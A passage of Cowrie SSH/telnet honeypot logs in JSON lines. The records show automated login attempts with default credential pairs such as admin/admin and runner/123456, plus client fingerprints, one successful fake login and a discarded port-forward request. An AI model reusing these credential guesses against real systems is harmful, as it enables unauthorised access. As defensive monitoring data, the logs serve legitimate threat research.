d25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:24:14.307009Z","src_ip":"45.156.87.254","session":"84d0c0f978cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kevin","password":"kevin","message":"login attempt [kevin/kevin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:24:14.579416Z","src_ip":"45.156.87.254","session":"84d0c0f978cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:24:15.737606Z","src_ip":"45.156.87.254","session":"84d0c0f978cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":50662,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ee168810fb7","protocol":"ssh","message":"New connection: 87.251.64.176:50662 (10.17.0.5:22) [session: 5ee168810fb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:24:18.055728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:24:18.061628Z","src_ip":"87.251.64.176","session":"5ee168810fb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:24:18.159478Z","src_ip":"87.251.64.176","session":"5ee168810fb7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:24:18.452038Z","src_ip":"87.251.64.176","session":"5ee168810fb7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:24:18.551398Z","session":"5ee168810fb7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:24:18.649932Z","src_ip":"87.251.64.176","session":"5ee168810fb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:24:18.748223Z","src_ip":"87.251.64.176","session":"5ee168810fb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.54541778564453,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:24:19.562123Z","src_ip":"20.123.41.163","session":"cfb380cfb554","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":45822,"dst_ip":"159.203.135.109","dst_port":22,"session":"230a7b7baf90","protocol":"ssh","message":"New connection: 45.156.87.254:45822 (159.203.135.109:22) [session: 230a7b7baf90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:24:19.768707Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:24:19.860039Z","src_ip":"45.156.87.254","session":"230a7b7baf90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:24:19.965957Z","src_ip":"45.156.87.254","session":"230a7b7baf90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"airflow","password":"airflow","message":"login attempt [airflow/airflow] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:24:20.232837Z","src_ip":"45.156.87.254","session":"230a7b7baf90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:24:21.323312Z","src_ip":"45.156.87.254","session":"230a7b7baf90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":45838,"dst_ip":"159.203.135.109","dst_port":22,"session":"e5fe4daef96f","protocol":"ssh","message":"New connection: 45.156.87.254:45838 (159.203.135.109:22) [session: e5fe4daef96f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:24:25.824117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:24:25.829169Z","src_ip":"45.156.87.254","session":"e5fe4daef96f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:24:26.059415Z","src_ip":"45.156.87.254","session":"e5fe4daef96f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"123456","message":"login attempt [runner/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:24:26.478480Z","src_ip":"45.156.87.254","session":"e5fe4daef96f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:24:27.567941Z","src_ip":"45.156.87.254","session":"e5fe4daef96f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":37682,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c10374eee38","protocol":"telnet","message":"New connection: 20.123.41.163:37682 (10.17.0.5:23) [session: 7c10374eee38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:24:29.274486Z"}
{"eventid":"cowrie.session.closed","duration":0.5601885318756104,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:24:29.834531Z","src_ip":"20.123.41.163","session":"7c10374eee38","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":40312,"dst_ip":"159.203.135.109","dst_port":22,"session":"268bdcbbb507","protocol":"ssh","message":"New connection: 45.156.87.254:40312 (159.203.135.109:22) [session: 268bdcbbb507]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:24:31.688304Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:24:31.693040Z","src_ip":"45.156.87.254","session":"268bdcbbb507","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:24:31.778587Z","src_ip":"45.156.87.254","session":"268bdcbbb507","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123","message":"login attempt [git/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:24:32.048084Z","src_ip":"45.156.87.254","session":"268bdcbbb507","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.145.252.179","src_port":54958,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3ff0252b814","protocol":"telnet","message":"New connection: 185.145.252.179:54958 (10.17.0.5:23) [session: d3ff0252b814]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:24:33.069757Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:24:33.134269Z","src_ip":"45.156.87.254","session":"268bdcbbb507","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":40328,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c9ff01073f0","protocol":"ssh","message":"New connection: 45.156.87.254:40328 (159.203.135.109:22) [session: 2c9ff01073f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:24:37.372501Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:24:37.380651Z","src_ip":"45.156.87.254","session":"2c9ff01073f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:24:37.466814Z","src_ip":"45.156.87.254","session":"2c9ff01073f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rocky","password":"rocky","message":"login attempt [rocky/rocky] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:24:37.726471Z","src_ip":"45.156.87.254","session":"2c9ff01073f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:24:38.828090Z","src_ip":"45.156.87.254","session":"2c9ff01073f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":46898,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7f68b3e1823","protocol":"ssh","message":"New connection: 45.156.87.254:46898 (159.203.135.109:22) [session: b7f68b3e1823]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:24:42.584748Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:24:42.591802Z","src_ip":"45.156.87.254","session":"b7f68b3e1823","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:24:42.680827Z","src_ip":"45.156.87.254","session":"b7f68b3e1823","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpt","password":"gpt","message":"login attempt [gpt/gpt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:24:43.024819Z","src_ip":"45.156.87.254","session":"b7f68b3e1823","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:24:44.111161Z","src_ip":"45.156.87.254","session":"b7f68b3e1823","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":46910,"dst_ip":"159.203.135.109","dst_port":22,"session":"c6aa5230582c","protocol":"ssh","message":"New connection: 45.156.87.254:46910 (159.203.135.109:22) [session: c6aa5230582c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:24:48.115473Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:24:48.127767Z","src_ip":"45.156.87.254","session":"c6aa5230582c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:24:48.205978Z","src_ip":"45.156.87.254","session":"c6aa5230582c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.145.252.179","src_port":56738,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4a16cc13d28","protocol":"telnet","message":"New connection: 185.145.252.179:56738 (10.17.0.5:23) [session: d4a16cc13d28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:24:48.411129Z"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"administrator","message":"login attempt [administrator/administrator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:24:48.746227Z","src_ip":"45.156.87.254","session":"c6aa5230582c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:24:49.831209Z","src_ip":"45.156.87.254","session":"c6aa5230582c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":52948,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a422226a44f","protocol":"ssh","message":"New connection: 45.156.87.254:52948 (159.203.135.109:22) [session: 0a422226a44f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:24:53.386190Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:24:53.392859Z","src_ip":"45.156.87.254","session":"0a422226a44f","protocol":"ssh"}
